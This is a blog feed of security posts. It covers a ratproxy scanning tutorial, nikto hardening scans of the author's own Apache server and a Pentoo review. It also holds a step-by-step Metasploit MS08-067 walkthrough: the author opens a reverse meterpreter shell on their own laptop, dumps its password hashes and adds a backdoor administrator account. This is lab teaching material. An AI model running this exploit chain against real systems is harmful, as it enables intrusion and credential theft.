<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-6632919853030459558</id><updated>2011-07-30T23:34:02.922-07:00</updated><category term='security'/><title type='text'>Little Unix Admin</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://littleunixadmin.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6632919853030459558/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://littleunixadmin.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>CH Chong</name><uri>http://www.blogger.com/profile/05130988305167002602</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>15</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-6632919853030459558.post-6307257054228813620</id><published>2010-02-03T00:00:00.000-08:00</published><updated>2010-02-03T00:23:12.903-08:00</updated><title type='text'>ratproxy - xss vulnerable scanner</title><content type='html'>[size=6][color=Red][b]ratproxy[/b][/color][/size]&lt;br /&gt;&lt;br /&gt;Ratproxy is a tools use to scan the web vulnerable. The author of the ratproxy is Michal Zalewski, who is the famous greyhat in europe, the p0f also created by him as well.&lt;br /&gt;&lt;br /&gt;The way of ratproxy works is act as proxy in between your browser and server. Then capture the all transaction from both sides.  See below : -&lt;br /&gt;&lt;br /&gt;browser －－－ ratproxy －－－ server&lt;br /&gt;&lt;br /&gt;Requirement：&lt;br /&gt;make the life easier， get a BT4. Then, boot the live CD will do&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;login = root&lt;/span&gt; &lt;span style="color: rgb(255, 0, 0);"&gt;password = toor&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;change directory to /pentest/web/ratproxy&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;root@bt:/#cd /pentest/web/ratproxy&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;make a directory for trace file create by ratproxy later &lt;span style="color: rgb(255, 0, 0);"&gt;root@bt:/pentest/web/ratproxy# mkdir /root/ratproxy&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Then, run the  ratproxy  &lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="font-weight: bold;"&gt;root@bt:/pentest/web/ratproxy# ./ratproxy -v /root/ratproxy/ -w e.log -d xxxxx.com.my -XCl2efxiscmg -p 8080&lt;/span&gt;&lt;/span&gt; &lt;span style="color: rgb(255, 0, 0);"&gt;ratproxy version 1.58-beta by &lt;/span&gt; &lt;span style="color: rgb(255, 0, 0);"&gt;lcamtuf@google.com]lcamtuf@google.com &lt;/span&gt; &lt;span style="color: rgb(255, 0, 0);"&gt;Proxy configured successfully. Have fun, and please do not be evil.&lt;/span&gt; &lt;span style="color: rgb(255, 0, 0);"&gt;WARNING: Disruptive tests enabled. use with care.&lt;/span&gt; &lt;span style="color: rgb(255, 0, 0);"&gt;[+] Accepting connections on port 8080/tcp (local only)...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Simple explantion:&lt;br /&gt;-v the directory i want to store the trace files&lt;br /&gt;－w create a log file based on this project&lt;br /&gt;－d xxxx.com.my  is refer to my domain name&lt;br /&gt;－p 8080 is the proxy port&lt;br /&gt;&lt;br /&gt;for other parameters，please refer to http://code.google.com/p/ratproxy/wiki/RatproxyDoc&lt;br /&gt;cause it is a bit longer&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://lh4.ggpht.com/_p-mKX4dKCSA/S07HWIO96sI/AAAAAAAAAGw/Fn4ri3LsSxc/s800/snapshot1.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 800px; height: 469px;" src="http://lh4.ggpht.com/_p-mKX4dKCSA/S07HWIO96sI/AAAAAAAAAGw/Fn4ri3LsSxc/s800/snapshot1.JPG" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;then, set up browser point to the proxy..Because i testing in my own box. So i use local host，port 8080 will do&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://lh4.ggpht.com/_p-mKX4dKCSA/S07HWLqFFwI/AAAAAAAAAG0/6jsr3OwKlmw/s800/snapshot2.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 800px; height: 469px;" src="http://lh4.ggpht.com/_p-mKX4dKCSA/S07HWLqFFwI/AAAAAAAAAG0/6jsr3OwKlmw/s800/snapshot2.JPG" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;go to that website，then login to that site。&lt;br /&gt;after login you have to visit every single pages of this site. &lt;br /&gt;for this example, i only visited for few pages&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;root@bt:/pentest/web/ratproxy# ./ratproxy -v /root/ratproxy/ -w e.log -d e-market.com.my -XCl2efxiscmg -p 8080&lt;br /&gt;ratproxy version 1.58-beta by &lt;br /&gt;lcamtuf@google.com]lcamtuf@google.com&lt;br /&gt;Proxy configured successfully. Have fun, and please do not be evil.&lt;br /&gt;WARNING: Disruptive tests enabled. use with care.&lt;br /&gt;[+] Accepting connections on port 8080/tcp (local only)...&lt;br /&gt;^C&lt;br /&gt;back to this console, press CTRL+C to stop the ratproxy once you finish visit all the pages&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Generate the html report&lt;br /&gt;root@bt:/pentest/web/ratproxy# ./ratproxy-report.sh e.log &gt; ratproxy_report.html&lt;br /&gt;root@bt:/pentest/web/ratproxy# ls -lah ratproxy_report.html&lt;br /&gt;-rw-r--r-- 1 root root 61K Jan 14 14:41 ratproxy_report.html&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://lh5.ggpht.com/_p-mKX4dKCSA/S07HWcW9AqI/AAAAAAAAAG4/pFLRtmgTrjA/s800/snapshot3.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 800px; height: 469px;" src="http://lh5.ggpht.com/_p-mKX4dKCSA/S07HWcW9AqI/AAAAAAAAAG4/pFLRtmgTrjA/s800/snapshot3.JPG" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Then, open the browser to read the html report&lt;br /&gt;see the screenshot, it can be categorized as few severity.&lt;br /&gt;You can click the VIEW TRACE to see the whole process&lt;br /&gt;also can click the EDIT to edit value。&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://lh6.ggpht.com/_p-mKX4dKCSA/S07HWaTqXKI/AAAAAAAAAHA/CR-6O4d67RY/s800/snapshot5.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 800px; height: 469px;" src="http://lh6.ggpht.com/_p-mKX4dKCSA/S07HWaTqXKI/AAAAAAAAAHA/CR-6O4d67RY/s800/snapshot5.JPG" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;look, the result of VIEW TRACE。&lt;br /&gt;you can see the transaction from user browser to server &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;how is this tools ? coolz ??&lt;br /&gt;this tool is used by Google as well.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6632919853030459558-6307257054228813620?l=littleunixadmin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://littleunixadmin.blogspot.com/feeds/6307257054228813620/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6632919853030459558&amp;postID=6307257054228813620' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6632919853030459558/posts/default/6307257054228813620'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6632919853030459558/posts/default/6307257054228813620'/><link rel='alternate' type='text/html' href='http://littleunixadmin.blogspot.com/2010/02/ratproxy-xss-vulnerable-scanner.html' title='ratproxy - xss vulnerable scanner'/><author><name>CH Chong</name><uri>http://www.blogger.com/profile/05130988305167002602</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/_p-mKX4dKCSA/S07HWIO96sI/AAAAAAAAAGw/Fn4ri3LsSxc/s72-c/snapshot1.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6632919853030459558.post-2437883183731902641</id><published>2010-02-02T23:45:00.001-08:00</published><updated>2010-02-03T00:00:16.135-08:00</updated><title type='text'>metaspoilt [ms08_067]  - conflicker</title><content type='html'>still remember the conflicker ? what is the damage to your company when this things spread out??&lt;br /&gt;&lt;br /&gt;ms08-067 is a patches to prevent conflicker. &lt;br /&gt;here im going to attack the machine which dont patches the ms08-067 by using metaspoilt.&lt;br /&gt;&lt;br /&gt;&lt;p&gt;requirement:-&lt;/p&gt;&lt;p&gt;system = ubuntu 9.10&lt;/p&gt;&lt;p&gt;apps = metaspoilt&lt;/p&gt;&lt;p&gt;(i dont/wont show how to install metaspoilt in ubuntu, as system admin,you guy please figure out by yourself. )&lt;br /&gt;&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;To execute msf,&lt;/p&gt; &lt;p&gt;&lt;span style="color: red;"&gt;#./opt/metaspoilt/msfconsole&lt;/span&gt;&lt;/p&gt; &lt;p&gt;then call the exploit module:&lt;br /&gt;&lt;/p&gt;&lt;p&gt; msf &gt;&lt;span style="color: red;"&gt; use exploit/windows/smb/ms08_067_netapi &lt;/span&gt;&lt;br /&gt;msf exploit(ms08_067_netapi) &gt; &lt;span style="color: red;"&gt;set RHOST 192.168.1.19&lt;/span&gt;&lt;br /&gt;RHOST =&gt; 192.168.1.19&lt;br /&gt;&lt;span style="color: black;"&gt;noted：RHOST is remote host，&lt;/span&gt;meaning your victim&lt;/p&gt;&lt;p&gt;msf exploit(ms08_067_netapi) &gt; &lt;span style="color: red;"&gt;set LHOST 192.168.1.17&lt;/span&gt;&lt;br /&gt;LHOST =&gt; 192.168.1.17&lt;br /&gt;&lt;span style="color: black;"&gt;noted：LHOST is local host，the box you running msf&lt;/span&gt;&lt;/p&gt; &lt;p&gt;msf exploit(ms08_067_netapi) &gt; set LPORT 4444&lt;br /&gt;LPORT =&gt; 4444&lt;br /&gt;&lt;span style="color: black;"&gt;note：LPORT is local port，the port you want to use. we use 4444 as example&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;msf exploit(ms08_067_netapi) &gt; &lt;span style="color: red;"&gt;set PAYLOAD windows/meterpreter/reverse_tcp&lt;/span&gt;&lt;br /&gt;&lt;p&gt; PAYLOAD =&gt; windows/meterpreter/reverse_tcp&lt;br /&gt;note：set the payload to do attack&lt;br /&gt;&lt;/p&gt; &lt;p&gt;msf exploit(ms08_067_netapi) &gt; &lt;span style="color: red;"&gt;exploit&lt;/span&gt;&lt;br /&gt;&lt;span style="color: black;"&gt;note: exploit the victim host&lt;/span&gt;&lt;/p&gt;&lt;div class="post-300 post hentry category-others" id="post-300"&gt;&lt;br /&gt;&lt;li&gt; Started reverse handler on port 4444&lt;/li&gt;  &lt;li&gt; Automatically detecting the target…&lt;/li&gt;  &lt;li&gt; Fingerprint: Windows XP Service Pack 2 – lang:English&lt;/li&gt;  &lt;li&gt; Selected Target: Windows XP SP2 English (NX)&lt;/li&gt;  &lt;li&gt; Triggering the vulnerability…&lt;/li&gt;  &lt;li&gt; Sending stage (725504 bytes)&lt;/li&gt;  &lt;li&gt; Meterpreter session 1 opened (192.168.1.17:4444 -&gt; 192.168.1.19:1442)&lt;/li&gt; &lt;p&gt;&lt;span style="color: black;"&gt;&lt;span style="color: rgb(255, 153, 0);"&gt;note：see the last line ？？you successful created the session between your box and victim's box&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;meterpreter &gt; &lt;span style="color: red;"&gt;getuid&lt;/span&gt;&lt;br /&gt;Server username: NT AUTHORITY\SYSTEM&lt;br /&gt;&lt;span style="color: black;"&gt;note：getuid&lt;/span&gt; to see the system&lt;br /&gt;&lt;/p&gt;&lt;p&gt;meterpreter &gt; &lt;span style="color: red;"&gt;run hashdump&lt;/span&gt;&lt;/p&gt;&lt;table cellpadding="0" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;li&gt; Obtaining the boot key…&lt;/li&gt; &lt;li&gt; Calculating the hboot key using SYSKEY bb35d43e0a531b188967bb43ce0f4823…&lt;/li&gt; &lt;li&gt; Obtaining the user list and keys…&lt;/li&gt; &lt;li&gt; Decrypting user keys…&lt;/li&gt; &lt;li&gt; Dumping password hashes… &lt;p&gt;Administrator:500:281b94b1e665a2b2aad3b435b51404ee:361db25d1614b529c719205dfc0d7420:::&lt;br /&gt;Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&lt;br /&gt;HelpAssistant:1000:5416885c50a87bdd115df056849a0a33:62a470b79584552188d83ce96f2482b2:::&lt;br /&gt;SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:aff70073db96549d5ecceb973af24bcc:::&lt;br /&gt;chenghui:1003:08fd436b7baa45341b4d308d3f102048:f7cabbe13fd7b71848064cbb40c5c13e:::&lt;br /&gt;ASPNET:1004:7bb95a870045309f8d5f5b133fbbefd5:38982698a41a6030a410d68d50428bf3:::&lt;br /&gt;admin:1011:08fd436b7baa45341b4d308d3f102048:f7cabbe13fd7b71848064cbb40c5c13e:::&lt;br /&gt;__vmware_user__:1013:c9d38fa38122a3212d28a90ef0e5c0c5:3f06c5556c2f5aaeeb4cb499ab9681e7:::&lt;/p&gt; &lt;p&gt;&lt;span style="color: black;"&gt;note：run hashdump, i had dumped all user account's hash key。 &lt;/span&gt;&lt;br /&gt;&lt;span style="color: black;"&gt;if you do not want to add new account into this host，think how to break the hash。 &lt;/span&gt;&lt;br /&gt;&lt;span style="color: black;"&gt;tips： cain and abel&lt;/span&gt;&lt;/p&gt; &lt;p&gt;meterpreter &gt;&lt;span style="color: red;"&gt; shell&lt;/span&gt;&lt;br /&gt;&lt;span style="color: indigo;"&gt;Process 4288 created.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: indigo;"&gt;Channel 2 created.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: indigo;"&gt;Microsoft Windows XP [Version 5.1.2600]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: indigo;"&gt;(C) Copyright 1985-2001 Microsoft Corp.&lt;/span&gt;&lt;br /&gt; &lt;span style="color: black;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;note：issue shell command. i owned the shell。 hehe&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;C:\WINDOWS\system32&gt;ipconfig&lt;br /&gt;ipconfig&lt;/p&gt; &lt;p&gt;Windows IP Configuration&lt;/p&gt; &lt;p&gt;Ethernet adapter VMware Network Adapter VMnet8:&lt;/p&gt; &lt;p&gt;Connection-specific DNS Suffix  . :&lt;br /&gt;IP Address. . . . . . . . . . . . : 192.168.81.1&lt;br /&gt;Subnet Mask . . . . . . . . . . . : 255.255.255.0&lt;br /&gt;Default Gateway . . . . . . . . . :&lt;/p&gt; &lt;p&gt;Ethernet adapter VMware Network Adapter VMnet1:&lt;/p&gt; &lt;p&gt;Connection-specific DNS Suffix  . :&lt;br /&gt;IP Address. . . . . . . . . . . . : 192.168.136.1&lt;br /&gt;Subnet Mask . . . . . . . . . . . : 255.255.255.0&lt;br /&gt;Default Gateway . . . . . . . . . :&lt;/p&gt; &lt;p&gt;Ethernet adapter Wireless Network Connection:&lt;/p&gt; &lt;p&gt;Media State . . . . . . . . . . . : Media disconnected&lt;/p&gt; &lt;p&gt;Ethernet adapter VirtualBox Host-Only Network:&lt;/p&gt; &lt;p&gt;Connection-specific DNS Suffix  . :&lt;br /&gt;IP Address. . . . . . . . . . . . : 192.168.56.1&lt;br /&gt;Subnet Mask . . . . . . . . . . . : 255.255.255.0&lt;br /&gt;Default Gateway . . . . . . . . . :&lt;/p&gt; &lt;p&gt;Ethernet adapter Local Area Connection:&lt;/p&gt; &lt;p&gt;Connection-specific DNS Suffix  . :&lt;br /&gt;IP Address. . . . . . . . . . . . : 192.168.1.19&lt;br /&gt;Subnet Mask . . . . . . . . . . . : 255.255.255.0&lt;br /&gt;Default Gateway . . . . . . . . . : 192.168.1.1&lt;br /&gt;&lt;span style="color: black;"&gt;note：ipconfig， it's works。&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;br /&gt;C:\WINDOWS\system32&gt;&lt;span style="color: red;"&gt;net user a13x P@ssw0rd /add&lt;/span&gt;&lt;br /&gt;net user a13x P@ssw0rd /add&lt;br /&gt;The command completed successfully.&lt;br /&gt;&lt;span style="color: black;"&gt;note：i try to add adduser。 ^^  please practice the windows command。 &lt;/span&gt;&lt;/p&gt; &lt;p&gt;C:\WINDOWS\system32&gt;&lt;span style="color: red;"&gt;net localgroup Administrators a13x /add &lt;/span&gt;&lt;br /&gt;net localgroup Administrators a13x /add&lt;br /&gt;The command completed successfully.&lt;br /&gt;&lt;span style="color: black;"&gt;note：i add myself into administrators group。 damn eveil&lt;br /&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;you can play with this host with windows command like net view ，net use, tasklist ，taskkill, net service and etc.&lt;br /&gt;please practice more with windows command&lt;br /&gt;&lt;/p&gt; &lt;p&gt;the victim is my laptop , running with windows xp sp2， windows firewall on， mcafee disabled。&lt;/p&gt;&lt;/li&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;ENJOY HACKING, please do not harm other ppl because this is misuse of computer. You can be send to jail !!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6632919853030459558-2437883183731902641?l=littleunixadmin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://littleunixadmin.blogspot.com/feeds/2437883183731902641/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6632919853030459558&amp;postID=2437883183731902641' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6632919853030459558/posts/default/2437883183731902641'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6632919853030459558/posts/default/2437883183731902641'/><link rel='alternate' type='text/html' href='http://littleunixadmin.blogspot.com/2010/02/metaspoilt-ms08067-conflicker.html' title='metaspoilt [ms08_067]  - conflicker'/><author><name>CH Chong</name><uri>http://www.blogger.com/profile/05130988305167002602</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6632919853030459558.post-5843632033197818819</id><published>2010-01-04T07:16:00.000-08:00</published><updated>2010-01-04T08:03:58.024-08:00</updated><title type='text'>how secure of your apache server???</title><content type='html'>[root@manutd nikto-2.1.0]# ./nikto.pl  -c all -host 192.168.1.15&lt;br /&gt;- Nikto v2.1.0/2.1.0&lt;br /&gt;---------------------------------------------------------------------------&lt;br /&gt;+ Target IP:          192.168.1.15&lt;br /&gt;+ Target Hostname:    192.168.1.15&lt;br /&gt;+ Target Port:        80&lt;br /&gt;+ Start Time:         2009-11-23 0:02:00&lt;br /&gt;---------------------------------------------------------------------------&lt;br /&gt;+ Server: Apache/2.2.13 (Fedora)&lt;br /&gt;+ OSVDB-0: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE&lt;br /&gt;+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST&lt;br /&gt;+ OSVDB-0: Apache/2.2.13 appears to be outdated (current is at least Apache/2.2.14). Apache 1.3.41 and 2.0.63 are also current.&lt;br /&gt;+ OSVDB-3268: /icons/: Directory indexing is enabled: /icons&lt;br /&gt;+ OSVDB-3233: /icons/README: Apache default file found.&lt;br /&gt;+ 3582 items checked: 5 item(s) reported on remote host&lt;br /&gt;+ End Time:           2009-11-23 0:02:00 (18 seconds)&lt;br /&gt;---------------------------------------------------------------------------&lt;br /&gt;+ 1 host(s) tested&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;========== after mod_security  installed  ===========================&lt;br /&gt;[root@manutd nikto-2.1.0]# ./nikto.pl -C all -host 192.168.1.15&lt;br /&gt;- Nikto v2.1.0/2.1.0&lt;br /&gt;---------------------------------------------------------------------------&lt;br /&gt;+ Target IP:          192.168.1.15&lt;br /&gt;+ Target Hostname:    192.168.1.15&lt;br /&gt;+ Target Port:        80&lt;br /&gt;+ Start Time:         2009-11-23 0:08:00&lt;br /&gt;---------------------------------------------------------------------------&lt;br /&gt;+ Server: Apache/2.2.0 (Fedora)&lt;br /&gt;+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST&lt;br /&gt;+ OSVDB-0: Apache/2.2.0 appears to be outdated (current is at least Apache/2.2.14). Apache 1.3.41 and 2.0.63 are also current.&lt;br /&gt;+ 3582 items checked: 2 item(s) reported on remote host&lt;br /&gt;+ End Time:           2009-11-23 0:09:00 (55 seconds)&lt;br /&gt;---------------------------------------------------------------------------&lt;br /&gt;+ 1 host(s) tested&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;========  after apache config tuned ===============&lt;br /&gt;[root@manutd nikto-2.1.0]# ./nikto.pl -C all -host 192.168.1.15&lt;br /&gt;- Nikto v2.1.0/2.1.0&lt;br /&gt;---------------------------------------------------------------------------&lt;br /&gt;+ Target IP:          192.168.1.15&lt;br /&gt;+ Target Hostname:    192.168.1.15&lt;br /&gt;+ Target Port:        80&lt;br /&gt;+ Start Time:         2009-11-23 0:22:00&lt;br /&gt;---------------------------------------------------------------------------&lt;br /&gt;+ Server: Apache&lt;br /&gt;+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST&lt;br /&gt;+ 3582 items checked: 1 item(s) reported on remote host&lt;br /&gt;+ End Time:           2009-11-23 0:23:00 (57 seconds)&lt;br /&gt;---------------------------------------------------------------------------&lt;br /&gt;+ 1 host(s) tested&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;========== last modification =============&lt;br /&gt;[root@devil nikto-2.1.0]# ./nikto.pl -C all -host 192.168.1.15&lt;br /&gt;&lt;br /&gt;- Nikto v2.1.0/2.1.0&lt;br /&gt;---------------------------------------------------------------------------&lt;br /&gt;+ Target IP:          192.168.1.15&lt;br /&gt;+ Target Hostname:    192.168.1.15&lt;br /&gt;+ Target Port:        80&lt;br /&gt;+ Start Time:         2009-11-23 0:57:00&lt;br /&gt;---------------------------------------------------------------------------&lt;br /&gt;+ Server: This is Windows IIS 10. Enjoy hacking&lt;br /&gt;+ 3582 items checked: 0 item(s) reported on remote host&lt;br /&gt;+ End Time:           2009-11-23 0:58:00 (45 seconds)&lt;br /&gt;---------------------------------------------------------------------------&lt;br /&gt;+ 1 host(s) tested&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;see , Windows IIS 10, Enjoy Hacking :P&lt;br /&gt;&lt;br /&gt;Intruders cant guess what is my server platform, but they still can grab my webpage header.&lt;br /&gt;Maybe they can guess from my webpage header.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;see, nothing to be found.... i just do a basic modification in apache and mod_security.&lt;br /&gt;For more advance topics in mod_security, please read below 2 books. It is very useful for apache&lt;br /&gt;&lt;a href="http://www.amazon.com/Apache-Security-Ivan-Ristic/dp/0596007248/ref=sr_1_1?ie=UTF8&amp;amp;s=books&amp;amp;qid=1262618635&amp;amp;sr=8-1"&gt;Apache Security&lt;/a&gt; &lt;span class="ptBrand"&gt;by &lt;a href="http://www.amazon.com/Ivan-Ristic/e/B001KDZVKU/ref=sr_ntt_srch_lnk_1?_encoding=UTF8&amp;amp;qid=1262618635&amp;amp;sr=8-1"&gt;Ivan Ristic&lt;/a&gt;&lt;/span&gt;&lt;span class="binding"&gt; &lt;/span&gt;&lt;span class="ptBrand"&gt;&lt;br /&gt;&lt;/span&gt;&lt;a href="http://www.amazon.com/Definitive-Guide-Apache-mod_rewrite-ebook/dp/B001D4SRNE/ref=sr_1_3?ie=UTF8&amp;amp;s=books&amp;amp;qid=1262618635&amp;amp;sr=8-3"&gt;The Definitive Guide to Apache mod_rewrite&lt;/a&gt; &lt;span class="ptBrand"&gt;by Rich Bowen&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Actually i have to do more advance web vulnerable testing because tested with 1 tools is not enough. It is dangerous if the production server only done with 1 tools for pen test.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;hopefully i got time to do more advance pentest with various open source web scanner also proprietary product like NESSUS&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6632919853030459558-5843632033197818819?l=littleunixadmin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://littleunixadmin.blogspot.com/feeds/5843632033197818819/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6632919853030459558&amp;postID=5843632033197818819' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6632919853030459558/posts/default/5843632033197818819'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6632919853030459558/posts/default/5843632033197818819'/><link rel='alternate' type='text/html' href='http://littleunixadmin.blogspot.com/2010/01/how-secure-of-your-apache-server.html' title='how secure of your apache server???'/><author><name>CH Chong</name><uri>http://www.blogger.com/profile/05130988305167002602</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6632919853030459558.post-1174537773713562445</id><published>2010-01-04T06:50:00.000-08:00</published><updated>2010-01-04T07:11:27.366-08:00</updated><title type='text'>Pentoo, another security distro</title><content type='html'>Pentoo, another security distro which intro by my china friend who playing Back Track with me along.&lt;br /&gt;&lt;br /&gt;i had tested with my EEEPC 1005HA, it is very fast compared to BT4. Of coz BT4 is slower due to the x windows client is KDE3.x.&lt;br /&gt;&lt;br /&gt;There's 2 things really impressed me which are latest kernel 2.6.32 and 2x CUDA Apps. The advantages of new kernel is more driver supported and i can use EXT4, i like this File System pretty much due to better performance. Yet, the CUDA Apps really make use the processing speed of CUDA, it is really good in brute force.&lt;br /&gt;&lt;br /&gt;There's a GUI thingy called Fast Track Web Interface to allow people who are not familiar with linux have better life to play with this tools.  This kind of GUI thingy also available in other security distro like NST.&lt;br /&gt;&lt;br /&gt;I plan to install the Pentoo in my eeepc ,but my china friend ask me to wait for BT4 due to Bt4 final will release in this month.  As i see from current development, the BT4 will come with Kernel 2.6.29 and my eeepc wireless card is able to detected automatically.  I can install it thru source code but look like not so PERFECT already.&lt;br /&gt;&lt;br /&gt;Well, let see what happen in BT4 after release.&lt;br /&gt;&lt;br /&gt;Please see the Pentoo screenshot which i took by vmware&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_p-mKX4dKCSA/S0ID747xkwI/AAAAAAAAAGM/qoE2-cImQgI/s1600-h/pentoo2.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 204px;" src="http://1.bp.blogspot.com/_p-mKX4dKCSA/S0ID747xkwI/AAAAAAAAAGM/qoE2-cImQgI/s320/pentoo2.JPG" alt="" id="BLOGGER_PHOTO_ID_5422901228737762050" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_p-mKX4dKCSA/S0ID0aAZ2pI/AAAAAAAAAGE/d7uiqAGVllc/s1600-h/pentoo1.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 200px;" src="http://3.bp.blogspot.com/_p-mKX4dKCSA/S0ID0aAZ2pI/AAAAAAAAAGE/d7uiqAGVllc/s320/pentoo1.JPG" alt="" id="BLOGGER_PHOTO_ID_5422901100176595602" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6632919853030459558-1174537773713562445?l=littleunixadmin.blogspot.com' alt='' 